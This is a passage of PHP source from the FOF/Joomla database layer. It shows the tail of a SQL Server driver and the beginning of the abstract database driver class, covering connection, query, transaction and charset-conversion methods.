* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 12.1
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('BEGIN TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('BEGIN TRANSACTION ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchArray($cursor = null)
{
return sqlsrv_fetch_array($cursor ? $cursor : $this->cursor,
SQLSRV_FETCH_NUMERIC);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchAssoc($cursor = null)
{
return sqlsrv_fetch_array($cursor ? $cursor : $this->cursor,
SQLSRV_FETCH_ASSOC);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 12.1
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return sqlsrv_fetch_object($cursor ? $cursor : $this->cursor, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 12.1
*/
protected function freeResult($cursor = null)
{
sqlsrv_free_stmt($cursor ? $cursor : $this->cursor);
}
/**
* Method to check and see if a field exists in a table.
*
* @param string $table The table in which to verify the field.
* @param string $field The field to verify.
*
* @return boolean True if the field exists in the table.
*
* @since 12.1
*/
protected function checkFieldExists($table, $field)
{
$this->connect();
$table = $this->replacePrefix((string) $table);
$query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME = '$table' AND COLUMN_NAME = '$field'"
.
" ORDER BY ORDINAL_POSITION";
$this->setQuery($query);
if ($this->loadResult())
{
return true;
}
else
{
return false;
}
}
/**
* Method to wrap an SQL statement to provide a LIMIT and OFFSET behavior
for scrolling through a result set.
*
* @param string $query The SQL statement to process.
* @param integer $limit The maximum affected rows to set.
* @param integer $offset The affected row offset to set.
*
* @return string The processed SQL statement.
*
* @since 12.1
*/
protected function limit($query, $limit, $offset)
{
if ($limit == 0 && $offset == 0)
{
return $query;
}
$start = $offset + 1;
$end = $offset + $limit;
$orderBy = stristr($query, 'ORDER BY');
if (is_null($orderBy) || empty($orderBy))
{
$orderBy = 'ORDER BY (select 0)';
}
$query = str_ireplace($orderBy, '', $query);
$rowNumberText = ', ROW_NUMBER() OVER (' . $orderBy . ')
AS RowNumber FROM ';
$query = preg_replace('/\sFROM\s/i', $rowNumberText, $query,
1);
return $query;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Table prefix
* @param string $prefix For the table - used to rename constraints
in non-mysql databases
*
* @return FOFDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$constraints = array();
if (!is_null($prefix) && !is_null($backup))
{
$constraints = $this->getTableConstraints($oldTable);
}
if (!empty($constraints))
{
$this->renameConstraints($constraints, $prefix, $backup);
}
$this->setQuery("sp_rename '" . $oldTable .
"', '" . $newTable . "'");
return $this->execute();
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to lock.
*
* @return FOFDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function lockTable($tableName)
{
return $this;
}
/**
* Unlocks tables in the database.
*
* @return FOFDatabaseDriverSqlsrv Returns this object to support
chaining.
*
* @since 12.1
* @throws RuntimeException
*/
public function unlockTables()
{
return $this;
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
$errors = sqlsrv_errors();
return $errors[0]['SQLSTATE'];
}
/**
* Return the actual SQL Error message
*
* @param string $query The SQL Query that fails
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage($query)
{
$errors = sqlsrv_errors();
$errorMessage = (string) $errors[0]['message'];
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
$query = str_replace($this->tablePrefix, '#__',
$query);
}
return $errorMessage . ' SQL=' . $query;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Joomla Platform Database Driver Class
*
* @since 12.1
*
* @method string q() q($text, $escape = true) Alias for quote
method
* @method string qn() qn($name, $as = null) Alias for quoteName
method
*/
abstract class FOFDatabaseDriver extends FOFDatabase implements
FOFDatabaseInterface
{
/**
* The name of the database.
*
* @var string
* @since 11.4
*/
private $_database;
/**
* The name of the database driver.
*
* @var string
* @since 11.1
*/
public $name;
/**
* The type of the database server family supported by this driver.
Examples: mysql, oracle, postgresql, mssql,
* sqlite.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType;
/**
* @var resource The database connection resource.
* @since 11.1
*/
protected $connection;
/**
* @var integer The number of SQL statements executed by the database
driver.
* @since 11.1
*/
protected $count = 0;
/**
* @var resource The database connection cursor from the last query.
* @since 11.1
*/
protected $cursor;
/**
* @var boolean The database driver debugging state.
* @since 11.1
*/
protected $debug = false;
/**
* @var integer The affected row limit for the current SQL statement.
* @since 11.1
*/
protected $limit = 0;
/**
* @var array The log of executed SQL statements by the database
driver.
* @since 11.1
*/
protected $log = array();
/**
* @var array The log of executed SQL statements timings (start and
stop microtimes) by the database driver.
* @since CMS 3.1.2
*/
protected $timings = array();
/**
* @var array The log of executed SQL statements timings (start and
stop microtimes) by the database driver.
* @since CMS 3.1.2
*/
protected $callStacks = array();
/**
* @var string The character(s) used to quote SQL statement names such
as table names or field names,
* etc. The child classes should define this as
necessary. If a single character string the
* same character is used for both sides of the quoted
name, else the first character will be
* used for the opening quote and the second for the
closing quote.
* @since 11.1
*/
protected $nameQuote;
/**
* @var string The null or zero representation of a timestamp for the
database driver. This should be
* defined in child classes to hold the appropriate value
for the engine.
* @since 11.1
*/
protected $nullDate;
/**
* @var integer The affected row offset to apply for the current SQL
statement.
* @since 11.1
*/
protected $offset = 0;
/**
* @var array Passed in upon instantiation and saved.
* @since 11.1
*/
protected $options;
/**
* @var mixed The current SQL statement to execute.
* @since 11.1
*/
protected $sql;
/**
* @var string The common database table prefix.
* @since 11.1
*/
protected $tablePrefix;
/**
* @var boolean True if the database engine supports UTF-8 character
encoding.
* @since 11.1
*/
protected $utf = true;
/**
* @var boolean True if the database engine supports UTF-8 Multibyte
(utf8mb4) character encoding.
* @since CMS 3.5.0
*/
protected $utf8mb4 = false;
/**
* @var integer The database error number
* @since 11.1
* @deprecated 12.1
*/
protected $errorNum = 0;
/**
* @var string The database error message
* @since 11.1
* @deprecated 12.1
*/
protected $errorMsg;
/**
* @var array FOFDatabaseDriver instances container.
* @since 11.1
*/
protected static $instances = array();
/**
* @var string The minimum supported database version.
* @since 12.1
*/
protected static $dbMinimum;
/**
* @var integer The depth of the current transaction.
* @since 12.3
*/
protected $transactionDepth = 0;
/**
* @var callable[] List of callables to call just before disconnecting
database
* @since CMS 3.1.2
*/
protected $disconnectHandlers = array();
/**
* Get a list of available database connectors. The list will only be
populated with connectors that both
* the class exists and the static test method returns true. This gives
us the ability to have a multitude
* of connector classes that are self-aware as to whether or not they are
able to be used on a given system.
*
* @return array An array of available database connectors.
*
* @since 11.1
*/
public static function getConnectors()
{
$connectors = array();
// Get an iterator and loop trough the driver classes.
$iterator = new DirectoryIterator(__DIR__ . '/driver');
/* @type $file DirectoryIterator */
foreach ($iterator as $file)
{
$fileName = $file->getFilename();
// Only load for php files.
if (!$file->isFile() || $file->getExtension() != 'php')
{
continue;
}
// Block the ext/mysql driver for PHP 7
if ($fileName === 'mysql.php' && PHP_MAJOR_VERSION
>= 7)
{
continue;
}
// Derive the class name from the type.
$class = str_ireplace('.php', '',
'FOFDatabaseDriver' . ucfirst(trim($fileName)));
// If the class doesn't exist we have nothing left to do but look
at the next type. We did our best.
if (!class_exists($class))
{
continue;
}
// Sweet! Our class exists, so now we just need to know if it passes
its test method.
if ($class::isSupported())
{
// Connector names should not have file extensions.
$connectors[] = str_ireplace('.php', '',
$fileName);
}
}
return $connectors;
}
/**
* Method to return a FOFDatabaseDriver instance based on the given
options. There are three global options and then
* the rest are specific to the database driver. The 'driver'
option defines which FOFDatabaseDriver class is
* used for the connection -- the default is 'mysqli'. The
'database' option determines which database is to
* be used for the connection. The 'select' option determines
whether the connector should automatically select
* the chosen database.
*
* Instances are unique to the given options and new objects are only
created when a unique options array is
* passed into the method. This ensures that we don't end up with
unnecessary database connection resources.
*
* @param array $options Parameters to be passed to the database
driver.
*
* @return FOFDatabaseDriver A database object.
*
* @since 11.1
* @throws RuntimeException
*/
public static function getInstance($options = array())
{
// Sanitize the database connector options.
$options['driver'] = (isset($options['driver'])) ?
preg_replace('/[^A-Z0-9_\.-]/i', '',
$options['driver']) : 'mysqli';
$options['database'] = (isset($options['database']))
? $options['database'] : null;
$options['select'] = (isset($options['select'])) ?
$options['select'] : true;
// If the selected driver is `mysql` and we are on PHP 7 or greater,
switch to the `mysqli` driver.
if ($options['driver'] === 'mysql' &&
PHP_MAJOR_VERSION >= 7)
{
// Check if we have support for the other MySQL drivers
$mysqliSupported = FOFDatabaseDriverMysqli::isSupported();
$pdoMysqlSupported = FOFDatabaseDriverPdomysql::isSupported();
// If neither is supported, then the user cannot use MySQL; throw an
exception
if (!$mysqliSupported && !$pdoMysqlSupported)
{
throw new RuntimeException(
'The PHP `ext/mysql` extension is removed in PHP 7, cannot use
the `mysql` driver.'
. ' Also, this system does not support MySQLi or PDO MySQL.
Cannot instantiate database driver.'
);
}
// Prefer MySQLi as it is a closer replacement for the removed MySQL
driver, otherwise use the PDO driver
if ($mysqliSupported)
{
if (class_exists('JLog'))
{
JLog::add(
'The PHP `ext/mysql` extension is removed in PHP 7, cannot use
the `mysql` driver. Trying `mysqli` instead.',
JLog::WARNING,
'deprecated'
);
}
$options['driver'] = 'mysqli';
}
else
{
if (class_exists('JLog'))
{
JLog::add(
'The PHP `ext/mysql` extension is removed in PHP 7, cannot use
the `mysql` driver. Trying `pdomysql` instead.',
JLog::WARNING,
'deprecated'
);
}
$options['driver'] = 'pdomysql';
}
}
// Get the options signature for the database connector.
$signature = md5(serialize($options));
// If we already have a database connector instance for these options
then just use that.
if (empty(self::$instances[$signature]))
{
// Derive the class name from the driver.
$class = 'FOFDatabaseDriver' .
ucfirst(strtolower($options['driver']));
// If the class still doesn't exist we have nothing left to do but
throw an exception. We did our best.
if (!class_exists($class))
{
throw new RuntimeException(sprintf('Unable to load Database
Driver: %s', $options['driver']));
}
// Create our new FOFDatabaseDriver connector based on the options
given.
try
{
$instance = new $class($options);
}
catch (RuntimeException $e)
{
throw new RuntimeException(sprintf('Unable to connect to the
Database: %s', $e->getMessage()), $e->getCode(), $e);
}
// Set the new connector to the global instances based on signature.
self::$instances[$signature] = $instance;
}
return self::$instances[$signature];
}
/**
* Splits a string of multiple queries into an array of individual
queries.
*
* @param string $sql Input SQL string with which to split into
individual queries.
*
* @return array The queries from the input string separated into an
array.
*
* @since 11.1
*/
public static function splitSql($sql)
{
$start = 0;
$open = false;
$char = '';
$end = strlen($sql);
$queries = array();
for ($i = 0; $i < $end; $i++)
{
$current = substr($sql, $i, 1);
if (($current == '"' || $current == '\''))
{
$n = 2;
while (substr($sql, $i - $n + 1, 1) == '\\' && $n
< $i)
{
$n++;
}
if ($n % 2 == 0)
{
if ($open)
{
if ($current == $char)
{
$open = false;
$char = '';
}
}
else
{
$open = true;
$char = $current;
}
}
}
if (($current == ';' && !$open) || $i == $end - 1)
{
$queries[] = substr($sql, $start, ($i - $start + 1));
$start = $i + 1;
}
}
return $queries;
}
/**
* Magic method to provide method alias support for quote() and
quoteName().
*
* @param string $method The called method.
* @param array $args The array of arguments passed to the method.
*
* @return mixed The aliased method's return value or null.
*
* @since 11.1
*/
public function __call($method, $args)
{
if (empty($args))
{
return;
}
switch ($method)
{
case 'q':
return $this->quote($args[0], isset($args[1]) ? $args[1] : true);
break;
case 'qn':
return $this->quoteName($args[0], isset($args[1]) ? $args[1] :
null);
break;
}
}
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 11.1
*/
public function __construct($options)
{
// Initialise object variables.
$this->_database = (isset($options['database'])) ?
$options['database'] : '';
$this->tablePrefix = (isset($options['prefix'])) ?
$options['prefix'] : 'jos_';
$this->connection = array_key_exists('connection', $options)
? $options['connection'] : null;
$this->count = 0;
$this->errorNum = 0;
$this->log = array();
// Set class options.
$this->options = $options;
}
/**
* Alter database's character set, obtaining query string from
protected member.
*
* @param string $dbName The database name that will be altered
*
* @return string The query that alter the database query string
*
* @since 12.2
* @throws RuntimeException
*/
public function alterDbCharacterSet($dbName)
{
if (is_null($dbName))
{
throw new RuntimeException('Database name must not be null.');
}
$this->setQuery($this->getAlterDbCharacterSet($dbName));
return $this->execute();
}
/**
* Alter a table's character set, obtaining an array of queries to do
so from a protected method. The conversion is
* wrapped in a transaction, if supported by the database driver.
Otherwise the table will be locked before the
* conversion. This prevents data corruption.
*
* @param string $tableName The name of the table to alter
* @param boolean $rethrow True to rethrow database exceptions.
Default: false (exceptions are suppressed)
*
* @return boolean True if successful
*
* @since CMS 3.5.0
* @throws RuntimeException If the table name is empty
* @throws Exception Relayed from the database layer if a database error
occurs and $rethrow == true
*/
public function alterTableCharacterSet($tableName, $rethrow = false)
{
if (is_null($tableName))
{
throw new RuntimeException('Table name must not be null.');
}
$queries = $this->getAlterTableCharacterSet($tableName);
if (empty($queries))
{
return false;
}
$hasTransaction = true;
try
{
$this->transactionStart();
}
catch (Exception $e)
{
$hasTransaction = false;
$this->lockTable($tableName);
}
foreach ($queries as $query)
{
try
{
$this->setQuery($query)->execute();
}
catch (Exception $e)
{
if ($hasTransaction)
{
$this->transactionRollback();
}
else
{
$this->unlockTables();
}
if ($rethrow)
{
throw $e;
}
return false;
}
}
if ($hasTransaction)
{
try
{
$this->transactionCommit();
}
catch (Exception $e)
{
$this->transactionRollback();
if ($rethrow)
{
throw $e;
}
return false;
}
}
else
{
$this->unlockTables();
}
return true;
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 12.1
* @throws RuntimeException
*/
abstract public function connect();
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 11.1
*/
abstract public function connected();
/**
* Create a new database using information from $options object, obtaining
query string
* from protected member.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 12.2
* @throws RuntimeException
*/
public function createDatabase($options, $utf = true)
{
if (is_null($options))
{
throw new RuntimeException('$options object must not be
null.');
}
elseif (empty($options->db_name))
{
throw new RuntimeException('$options object must have db_name
set.');
}
elseif (empty($options->db_user))
{
throw new RuntimeException('$options object must have db_user
set.');
}
$this->setQuery($this->getCreateDatabaseQuery($options, $utf));
return $this->execute();
}
/**
* Disconnects the database.
*
* @return void
*
* @since 12.1
*/
abstract public function disconnect();
/**
* Adds a function callable just before disconnecting the database.
Parameter of the callable is $this FOFDatabaseDriver
*
* @param callable $callable Function to call in disconnect() method
just before disconnecting from database
*
* @return void
*
* @since CMS 3.1.2
*/
public function addDisconnectHandler($callable)
{
$this->disconnectHandlers[] = $callable;
}
/**
* Drops a table from the database.
*
* @param string $table The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return FOFDatabaseDriver Returns this object to support chaining.
*
* @since 11.4
* @throws RuntimeException
*/
public abstract function dropTable($table, $ifExists = true);
/**
* Escapes a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 11.1
*/
abstract public function escape($text, $extra = false);
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 11.1
*/
abstract protected function fetchArray($cursor = null);
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 11.1
*/
abstract protected function fetchAssoc($cursor = null);
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 11.1
*/
abstract protected function fetchObject($cursor = null, $class =
'stdClass');
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 11.1
*/
abstract protected function freeResult($cursor = null);
/**
* Get the number of affected rows for the previous executed SQL
statement.
*
* @return integer The number of affected rows.
*
* @since 11.1
*/
abstract public function getAffectedRows();
/**
* Return the query string to alter the database character set.
*
* @param string $dbName The database name
*
* @return string The query that alter the database query string
*
* @since 12.2
*/
public function getAlterDbCharacterSet($dbName)
{
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
return 'ALTER DATABASE ' . $this->quoteName($dbName) .
' CHARACTER SET `' . $charset . '`';
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$collation = $charset . '_general_ci';
$quotedTableName = $this->quoteName($tableName);
$queries = array();
$queries[] = "ALTER TABLE $quotedTableName CONVERT TO CHARACTER SET
$charset COLLATE $collation";
/**
* We also need to convert each text column, modifying their character
set and collation. This allows us to
* change, for example, a utf8_bin collated column to a utf8mb4_bin
collated column.
*/
$sql = "SHOW FULL COLUMNS FROM $quotedTableName";
$this->setQuery($sql);
$columns = $this->loadAssocList();
$columnMods = array();
if (is_array($columns))
{
foreach ($columns as $column)
{
// Make sure we are redefining only columns which do support a
collation
$col = (object) $column;
if (empty($col->Collation))
{
continue;
}
// Default new collation: utf8_general_ci or utf8mb4_general_ci
$newCollation = $charset . '_general_ci';
$collationParts = explode('_', $col->Collation);
/**
* If the collation is in the form charset_collationType_ci or
charset_collationType we have to change
* the charset but leave the collationType intact (e.g. utf8_bin must
become utf8mb4_bin, NOT
* utf8mb4_general_ci).
*/
if (count($collationParts) >= 2)
{
$ci = array_pop($collationParts);
$collationType = array_pop($collationParts);
$newCollation = $charset . '_' . $collationType .
'_' . $ci;
/**
* When the last part of the old collation is not _ci we have a
charset_collationType format,
* something like utf8_bin. Therefore the new collation only has *two*
parts.
*/
if ($ci != 'ci')
{
$newCollation = $charset . '_' . $ci;
}
}
// If the old and new collation is the same we don't have to
change the collation type
if (strtolower($newCollation) == strtolower($col->Collation))
{
continue;
}
$null = $col->Null == 'YES' ? 'NULL' : 'NOT
NULL';
$default = is_null($col->Default) ? '' : "DEFAULT
'" . $this->q($col->Default) . "'";
$columnMods[] = "MODIFY COLUMN `{$col->Field}` {$col->Type}
CHARACTER SET $charset COLLATE $newCollation $null $default";
}
}
if (count($columnMods))
{
$queries[] = "ALTER TABLE $quotedTableName " .
implode(',', $columnMods) .
" CHARACTER SET $charset COLLATE $collation";
}
return $queries;
}
/**
* Automatically downgrade a CREATE TABLE or ALTER TABLE query from
utf8mb4 (UTF-8 Multibyte) to plain utf8. Used
* when the server doesn't support UTF-8 Multibyte.
*
* @param string $query The query to convert
*
* @return string The converted query
*/
public function convertUtf8mb4QueryToUtf8($query)
{
if ($this->hasUTF8mb4Support())
{
return $query;
}
// If it's not an ALTER TABLE or CREATE TABLE command there's
nothing to convert
$beginningOfQuery = substr($query, 0, 12);
$beginningOfQuery = strtoupper($beginningOfQuery);
if (!in_array($beginningOfQuery, array('ALTER TABLE ',
'CREATE TABLE')))
{
return $query;
}
// Replace utf8mb4 with utf8
return str_replace('utf8mb4', 'utf8', $query);
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 12.2
*/
protected function getCreateDatabaseQuery($options, $utf)
{
if ($utf)
{
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name) . ' CHARACTER SET `' .
$charset . '`';
}
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 11.1
*/
abstract public function getCollation();
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return '';
}
/**
* Method that provides access to the underlying database connection.
Useful for when you need to call a
* proprietary method such as postgresql's lo_* methods.
*
* @return resource The underlying database connection resource.
*
* @since 11.1
*/
public function getConnection()
{
return $this->connection;
}
/**
* Get the total number of SQL statements executed by the database driver.
*
* @return integer
*
* @since 11.1
*/
public function getCount()
{
return $this->count;
}
/**
* Gets the name of the database used by this connection.
*
* @return string
*
* @since 11.4
*/
protected function getDatabase()
{
return $this->_database;
}
/**
* Returns a PHP date() function compliant date format for the database
driver.
*
* @return string The format string.
*
* @since 11.1
*/
public function getDateFormat()
{
return 'Y-m-d H:i:s';
}
/**
* Get the database driver SQL statement log.
*
* @return array SQL statements executed by the database driver.
*
* @since 11.1
*/
public function getLog()
{
return $this->log;
}
/**
* Get the database driver SQL statement log.
*
* @return array SQL statements executed by the database driver.
*
* @since CMS 3.1.2
*/
public function getTimings()
{
return $this->timings;
}
/**
* Get the database driver SQL statement log.
*
* @return array SQL statements executed by the database driver.
*
* @since CMS 3.1.2
*/
public function getCallStacks()
{
return $this->callStacks;
}
/**
* Get the minimum supported database version.
*
* @return string The minimum version number for the database driver.
*
* @since 12.1
*/
public function getMinimum()
{
return static::$dbMinimum;
}
/**
* Get the null or zero representation of a timestamp for the database
driver.
*
* @return string Null or zero representation of a timestamp.
*
* @since 11.1
*/
public function getNullDate()
{
return $this->nullDate;
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 11.1
*/
abstract public function getNumRows($cursor = null);
/**
* Get the common table prefix for the database driver.
*
* @return string The common database table prefix.
*
* @since 11.1
*/
public function getPrefix()
{
return $this->tablePrefix;
}
/**
* Gets an exporter class object.
*
* @return FOFDatabaseExporter An exporter object.
*
* @since 12.1
* @throws RuntimeException
*/
public function getExporter()
{
// Derive the class name from the driver.
$class = 'FOFDatabaseExporter' . ucfirst($this->name);
// Make sure we have an exporter class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new RuntimeException('Database Exporter not found.');
}
$o = new $class;
$o->setDbo($this);
return $o;
}
/**
* Gets an importer class object.
*
* @return FOFDatabaseImporter An importer object.
*
* @since 12.1
* @throws RuntimeException
*/
public function getImporter()
{
// Derive the class name from the driver.
$class = 'FOFDatabaseImporter' . ucfirst($this->name);
// Make sure we have an importer class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new RuntimeException('Database Importer not found');
}
$o = new $class;
$o->setDbo($this);
return $o;
}
/**
* Get the name of the database driver. If $this->name is not set it
will try guessing the driver name from the
* class name.
*
* @return string
*
* @since CMS 3.5.0
*/
public function getName()
{
if (empty($this->name))
{
$className = get_class($this);
$className = str_replace('FOFDatabaseDriver', '',
$className);
$this->name = strtolower($className);
}
return $this->name;
}
/**
* Get the server family type, e.g. mysql, postgresql, oracle, sqlite,
mssql. If $this->serverType is not set it
* will attempt guessing the server family type from the driver name. If
this is not possible the driver name will
* be returned instead.
*
* @return string
*
* @since CMS 3.5.0
*/
public function getServerType()
{
if (empty($this->serverType))
{
$name = $this->getName();
if (stristr($name, 'mysql') !== false)
{
$this->serverType = 'mysql';
}
elseif (stristr($name, 'postgre') !== false)
{
$this->serverType = 'postgresql';
}
elseif (stristr($name, 'oracle') !== false)
{
$this->serverType = 'oracle';
}
elseif (stristr($name, 'sqlite') !== false)
{
$this->serverType = 'sqlite';
}
elseif (stristr($name, 'sqlsrv') !== false)
{
$this->serverType = 'mssql';
}
elseif (stristr($name, 'mssql') !== false)
{
$this->serverType = 'mssql';
}
else
{
$this->serverType = $name;
}
}
return $this->serverType;
}
/**
* Get the current query object or a new FOFDatabaseQuery object.
*
* @param boolean $new False to return the current query object, True
to return a new FOFDatabaseQuery object.
*
* @return FOFDatabaseQuery The current query object or a new object
extending the FOFDatabaseQuery class.
*
* @since 11.1
* @throws RuntimeException
*/
public function getQuery($new = false)
{
if ($new)
{
// Derive the class name from the driver.
$class = 'FOFDatabaseQuery' . ucfirst($this->name);
// Make sure we have a query class for this driver.
if (!class_exists($class))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new RuntimeException('Database Query Class not
found.');
}
return new $class($this);
}
else
{
return $this->sql;
}
}
/**
* Get a new iterator on the current query.
*
* @param string $column An option column to use as the iterator key.
* @param string $class The class of object that is returned.
*
* @return FOFDatabaseIterator A new database iterator.
*
* @since 12.1
* @throws RuntimeException
*/
public function getIterator($column = null, $class = 'stdClass')
{
// Derive the class name from the driver.
$iteratorClass = 'FOFDatabaseIterator' .
ucfirst($this->name);
// Make sure we have an iterator class for this driver.
if (!class_exists($iteratorClass))
{
// If it doesn't exist we are at an impasse so throw an exception.
throw new RuntimeException(sprintf('class *%s* is not
defined', $iteratorClass));
}
// Return a new iterator
return new $iteratorClass($this->execute(), $column, $class);
}
/**
* Retrieves field information about the given tables.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True (default) to only return field types.
*
* @return array An array of fields by table.
*
* @since 11.1
* @throws RuntimeException
*/
abstract public function getTableColumns($table, $typeOnly = true);
/**
* Shows the table CREATE statement that creates the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 11.1
* @throws RuntimeException
*/
abstract public function getTableCreate($tables);
/**
* Retrieves field information about the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array An array of keys for the table(s).
*
* @since 11.1
* @throws RuntimeException
*/
abstract public function getTableKeys($tables);
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 11.1
* @throws RuntimeException
*/
abstract public function getTableList();
/**
* Determine whether or not the database engine supports UTF-8 character
encoding.
*
* @return boolean True if the database engine supports UTF-8 character
encoding.
*
* @since 11.1
* @deprecated 12.3 (Platform) & 4.0 (CMS) - Use hasUTFSupport()
instead
*/
public function getUTFSupport()
{
if (class_exists('JLog'))
{
JLog::add('FOFDatabaseDriver::getUTFSupport() is deprecated. Use
FOFDatabaseDriver::hasUTFSupport() instead.', JLog::WARNING,
'deprecated');
}
return $this->hasUTFSupport();
}
/**
* Determine whether or not the database engine supports UTF-8 character
encoding.
*
* @return boolean True if the database engine supports UTF-8 character
encoding.
*
* @since 12.1
*/
public function hasUTFSupport()
{
return $this->utf;
}
/**
* Determine whether the database engine support the UTF-8 Multibyte
(utf8mb4) character encoding. This applies to
* MySQL databases.
*
* @return boolean True if the database engine supports UTF-8 Multibyte.
*
* @since CMS 3.5.0
*/
public function hasUTF8mb4Support()
{
return $this->utf8mb4;
}
/**
* Get the version of the database connector
*
* @return string The database connector version.
*
* @since 11.1
*/
abstract public function getVersion();
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return mixed The value of the auto-increment field from the last
inserted row.
*
* @since 11.1
*/
abstract public function insertid();
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 11.1
* @throws RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$fields = array();
$values = array();
// Iterate over the object variables to build the query fields and
values.
foreach (get_object_vars($object) as $k => $v)
{
// Only process non-null scalars.
if (is_array($v) or is_object($v) or $v === null)
{
continue;
}
// Ignore any internal fields.
if ($k[0] == '_')
{
continue;
}
// Prepare and sanitize the fields and values for the database query.
$fields[] = $this->quoteName($k);
$values[] = $this->quote($v);
}
// Create the base insert statement.
$query = $this->getQuery(true)
->insert($this->quoteName($table))
->columns($fields)
->values(implode(',', $values));
// Set the query and execute the insert.
$this->setQuery($query);
if (!$this->execute())
{
return false;
}
// Update the primary key if it exists.
$id = $this->insertid();
if ($key && $id && is_string($key))
{
$object->$key = $id;
}
